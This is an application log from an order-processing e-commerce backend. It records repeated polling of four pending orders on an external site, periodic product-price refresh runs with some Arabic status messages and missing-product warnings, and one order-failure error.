[2026-03-24 03:36:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"rYIJO3ymh7po9SwFK2xrtZOiMv2XH2d2","execution_time":"2026-03-24 03:36:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 03:36:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"rYIJO3ymh7po9SwFK2xrtZOiMv2XH2d2","execution_time":"2026-03-24 03:36:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 03:36:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"rYIJO3ymh7po9SwFK2xrtZOiMv2XH2d2","execution_time":"2026-03-24 03:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 03:36:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"rYIJO3ymh7po9SwFK2xrtZOiMv2XH2d2","execution_time":"2026-03-24 03:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 03:36:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"rYIJO3ymh7po9SwFK2xrtZOiMv2XH2d2","execution_time":"2026-03-24 03:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 03:36:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"rYIJO3ymh7po9SwFK2xrtZOiMv2XH2d2","execution_time":"2026-03-24 03:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 03:36:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"rYIJO3ymh7po9SwFK2xrtZOiMv2XH2d2","execution_time":"2026-03-24 03:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:36:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"rYIJO3ymh7po9SwFK2xrtZOiMv2XH2d2","execution_time":"2026-03-24 03:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 03:36:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"rYIJO3ymh7po9SwFK2xrtZOiMv2XH2d2","execution_time":"2026-03-24 03:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 03:36:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"rYIJO3ymh7po9SwFK2xrtZOiMv2XH2d2","execution_time":"2026-03-24 03:36:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:38:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"TP75rePplBTvhSGxszO5B5fgR1c7VOXN","execution_time":"2026-03-24 03:38:04"} 
[2026-03-24 03:38:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"TP75rePplBTvhSGxszO5B5fgR1c7VOXN","execution_time":"2026-03-24 03:38:04","total_operations":4,"sites_count":1} 
[2026-03-24 03:38:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"TP75rePplBTvhSGxszO5B5fgR1c7VOXN","execution_time":"2026-03-24 03:38:04","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 03:38:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"TP75rePplBTvhSGxszO5B5fgR1c7VOXN","execution_time":"2026-03-24 03:38:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 03:38:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"TP75rePplBTvhSGxszO5B5fgR1c7VOXN","execution_time":"2026-03-24 03:38:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 03:38:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"TP75rePplBTvhSGxszO5B5fgR1c7VOXN","execution_time":"2026-03-24 03:38:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 03:38:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"TP75rePplBTvhSGxszO5B5fgR1c7VOXN","execution_time":"2026-03-24 03:38:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 03:38:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"TP75rePplBTvhSGxszO5B5fgR1c7VOXN","execution_time":"2026-03-24 03:38:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 03:38:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"TP75rePplBTvhSGxszO5B5fgR1c7VOXN","execution_time":"2026-03-24 03:38:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:38:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"TP75rePplBTvhSGxszO5B5fgR1c7VOXN","execution_time":"2026-03-24 03:38:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 03:38:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"TP75rePplBTvhSGxszO5B5fgR1c7VOXN","execution_time":"2026-03-24 03:38:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 03:38:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"TP75rePplBTvhSGxszO5B5fgR1c7VOXN","execution_time":"2026-03-24 03:38:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:40:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Jdyap2P0UygfwQFsaDyvxOEbaR336WsA","execution_time":"2026-03-24 03:40:01"} 
[2026-03-24 03:40:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Jdyap2P0UygfwQFsaDyvxOEbaR336WsA","execution_time":"2026-03-24 03:40:01","total_operations":4,"sites_count":1} 
[2026-03-24 03:40:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Jdyap2P0UygfwQFsaDyvxOEbaR336WsA","execution_time":"2026-03-24 03:40:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 03:40:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Jdyap2P0UygfwQFsaDyvxOEbaR336WsA","execution_time":"2026-03-24 03:40:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 03:40:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Jdyap2P0UygfwQFsaDyvxOEbaR336WsA","execution_time":"2026-03-24 03:40:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 03:40:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Jdyap2P0UygfwQFsaDyvxOEbaR336WsA","execution_time":"2026-03-24 03:40:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 03:40:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Jdyap2P0UygfwQFsaDyvxOEbaR336WsA","execution_time":"2026-03-24 03:40:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 03:40:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Jdyap2P0UygfwQFsaDyvxOEbaR336WsA","execution_time":"2026-03-24 03:40:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 03:40:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Jdyap2P0UygfwQFsaDyvxOEbaR336WsA","execution_time":"2026-03-24 03:40:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:40:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Jdyap2P0UygfwQFsaDyvxOEbaR336WsA","execution_time":"2026-03-24 03:40:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 03:40:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Jdyap2P0UygfwQFsaDyvxOEbaR336WsA","execution_time":"2026-03-24 03:40:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 03:40:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Jdyap2P0UygfwQFsaDyvxOEbaR336WsA","execution_time":"2026-03-24 03:40:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:40:01] production.INFO: Executing GetProducts task...  
[2026-03-24 03:40:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 03:40:01] production.INFO: Executing GetProducts task...  
[2026-03-24 03:40:03] production.INFO: async() رجع: true  
[2026-03-24 03:40:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 03:40:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 03:40:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 03:40:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 03:40:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 03:40:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 03:40:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 03:40:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 03:40:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 03:40:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 03:40:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 03:42:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"TlRHLcQ75ApWW4NDFhM4dqHp6NR5UZcT","execution_time":"2026-03-24 03:42:02"} 
[2026-03-24 03:42:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"TlRHLcQ75ApWW4NDFhM4dqHp6NR5UZcT","execution_time":"2026-03-24 03:42:02","total_operations":4,"sites_count":1} 
[2026-03-24 03:42:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"TlRHLcQ75ApWW4NDFhM4dqHp6NR5UZcT","execution_time":"2026-03-24 03:42:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 03:42:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"TlRHLcQ75ApWW4NDFhM4dqHp6NR5UZcT","execution_time":"2026-03-24 03:42:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 03:42:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"TlRHLcQ75ApWW4NDFhM4dqHp6NR5UZcT","execution_time":"2026-03-24 03:42:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 03:42:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"TlRHLcQ75ApWW4NDFhM4dqHp6NR5UZcT","execution_time":"2026-03-24 03:42:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 03:42:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"TlRHLcQ75ApWW4NDFhM4dqHp6NR5UZcT","execution_time":"2026-03-24 03:42:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 03:42:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"TlRHLcQ75ApWW4NDFhM4dqHp6NR5UZcT","execution_time":"2026-03-24 03:42:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 03:42:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"TlRHLcQ75ApWW4NDFhM4dqHp6NR5UZcT","execution_time":"2026-03-24 03:42:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:42:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"TlRHLcQ75ApWW4NDFhM4dqHp6NR5UZcT","execution_time":"2026-03-24 03:42:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 03:42:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"TlRHLcQ75ApWW4NDFhM4dqHp6NR5UZcT","execution_time":"2026-03-24 03:42:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 03:42:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"TlRHLcQ75ApWW4NDFhM4dqHp6NR5UZcT","execution_time":"2026-03-24 03:42:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:44:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"UfxyQYXAOScPtADU5yBxEzfJ9TcOe4ba","execution_time":"2026-03-24 03:44:02"} 
[2026-03-24 03:44:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"UfxyQYXAOScPtADU5yBxEzfJ9TcOe4ba","execution_time":"2026-03-24 03:44:02","total_operations":4,"sites_count":1} 
[2026-03-24 03:44:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"UfxyQYXAOScPtADU5yBxEzfJ9TcOe4ba","execution_time":"2026-03-24 03:44:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 03:44:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"UfxyQYXAOScPtADU5yBxEzfJ9TcOe4ba","execution_time":"2026-03-24 03:44:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 03:44:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"UfxyQYXAOScPtADU5yBxEzfJ9TcOe4ba","execution_time":"2026-03-24 03:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 03:44:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"UfxyQYXAOScPtADU5yBxEzfJ9TcOe4ba","execution_time":"2026-03-24 03:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 03:44:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"UfxyQYXAOScPtADU5yBxEzfJ9TcOe4ba","execution_time":"2026-03-24 03:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 03:44:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"UfxyQYXAOScPtADU5yBxEzfJ9TcOe4ba","execution_time":"2026-03-24 03:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 03:44:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"UfxyQYXAOScPtADU5yBxEzfJ9TcOe4ba","execution_time":"2026-03-24 03:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:44:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"UfxyQYXAOScPtADU5yBxEzfJ9TcOe4ba","execution_time":"2026-03-24 03:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 03:44:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"UfxyQYXAOScPtADU5yBxEzfJ9TcOe4ba","execution_time":"2026-03-24 03:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 03:44:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"UfxyQYXAOScPtADU5yBxEzfJ9TcOe4ba","execution_time":"2026-03-24 03:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:45:02] production.INFO: Executing GetProducts task...  
[2026-03-24 03:45:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 03:45:02] production.INFO: Executing GetProducts task...  
[2026-03-24 03:45:04] production.INFO: async() رجع: true  
[2026-03-24 03:45:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 03:45:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 03:45:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 03:45:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 03:45:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 03:45:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 03:45:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 03:45:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 03:45:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 03:45:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 03:45:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 03:46:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"ssmlblzb2MPIshu3K5X3CZCZ5bP5Bhhm","execution_time":"2026-03-24 03:46:02"} 
[2026-03-24 03:46:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"ssmlblzb2MPIshu3K5X3CZCZ5bP5Bhhm","execution_time":"2026-03-24 03:46:02","total_operations":4,"sites_count":1} 
[2026-03-24 03:46:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"ssmlblzb2MPIshu3K5X3CZCZ5bP5Bhhm","execution_time":"2026-03-24 03:46:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 03:46:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"ssmlblzb2MPIshu3K5X3CZCZ5bP5Bhhm","execution_time":"2026-03-24 03:46:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 03:46:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"ssmlblzb2MPIshu3K5X3CZCZ5bP5Bhhm","execution_time":"2026-03-24 03:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 03:46:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ssmlblzb2MPIshu3K5X3CZCZ5bP5Bhhm","execution_time":"2026-03-24 03:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 03:46:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ssmlblzb2MPIshu3K5X3CZCZ5bP5Bhhm","execution_time":"2026-03-24 03:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 03:46:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ssmlblzb2MPIshu3K5X3CZCZ5bP5Bhhm","execution_time":"2026-03-24 03:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 03:46:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ssmlblzb2MPIshu3K5X3CZCZ5bP5Bhhm","execution_time":"2026-03-24 03:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:46:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"ssmlblzb2MPIshu3K5X3CZCZ5bP5Bhhm","execution_time":"2026-03-24 03:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 03:46:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"ssmlblzb2MPIshu3K5X3CZCZ5bP5Bhhm","execution_time":"2026-03-24 03:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 03:46:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"ssmlblzb2MPIshu3K5X3CZCZ5bP5Bhhm","execution_time":"2026-03-24 03:46:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:46:28] production.ERROR: Order Failed: No query results for model [App\Models\Product].  
[2026-03-24 03:48:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"c21TnG8ArdRJDqMflDypOnLEtY7ELosw","execution_time":"2026-03-24 03:48:00"} 
[2026-03-24 03:48:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"c21TnG8ArdRJDqMflDypOnLEtY7ELosw","execution_time":"2026-03-24 03:48:00","total_operations":4,"sites_count":1} 
[2026-03-24 03:48:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"c21TnG8ArdRJDqMflDypOnLEtY7ELosw","execution_time":"2026-03-24 03:48:00","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 03:48:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"c21TnG8ArdRJDqMflDypOnLEtY7ELosw","execution_time":"2026-03-24 03:48:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 03:48:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"c21TnG8ArdRJDqMflDypOnLEtY7ELosw","execution_time":"2026-03-24 03:48:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 03:48:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"c21TnG8ArdRJDqMflDypOnLEtY7ELosw","execution_time":"2026-03-24 03:48:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 03:48:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"c21TnG8ArdRJDqMflDypOnLEtY7ELosw","execution_time":"2026-03-24 03:48:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 03:48:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"c21TnG8ArdRJDqMflDypOnLEtY7ELosw","execution_time":"2026-03-24 03:48:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 03:48:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"c21TnG8ArdRJDqMflDypOnLEtY7ELosw","execution_time":"2026-03-24 03:48:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:48:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"c21TnG8ArdRJDqMflDypOnLEtY7ELosw","execution_time":"2026-03-24 03:48:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 03:48:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"c21TnG8ArdRJDqMflDypOnLEtY7ELosw","execution_time":"2026-03-24 03:48:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 03:48:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"c21TnG8ArdRJDqMflDypOnLEtY7ELosw","execution_time":"2026-03-24 03:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:50:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"7u4BweZ39BWUM0fMPx6ojIS0mMHoA2nL","execution_time":"2026-03-24 03:50:03"} 
[2026-03-24 03:50:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"7u4BweZ39BWUM0fMPx6ojIS0mMHoA2nL","execution_time":"2026-03-24 03:50:03","total_operations":4,"sites_count":1} 
[2026-03-24 03:50:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"7u4BweZ39BWUM0fMPx6ojIS0mMHoA2nL","execution_time":"2026-03-24 03:50:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 03:50:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"7u4BweZ39BWUM0fMPx6ojIS0mMHoA2nL","execution_time":"2026-03-24 03:50:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 03:50:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"7u4BweZ39BWUM0fMPx6ojIS0mMHoA2nL","execution_time":"2026-03-24 03:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 03:50:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"7u4BweZ39BWUM0fMPx6ojIS0mMHoA2nL","execution_time":"2026-03-24 03:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 03:50:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"7u4BweZ39BWUM0fMPx6ojIS0mMHoA2nL","execution_time":"2026-03-24 03:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
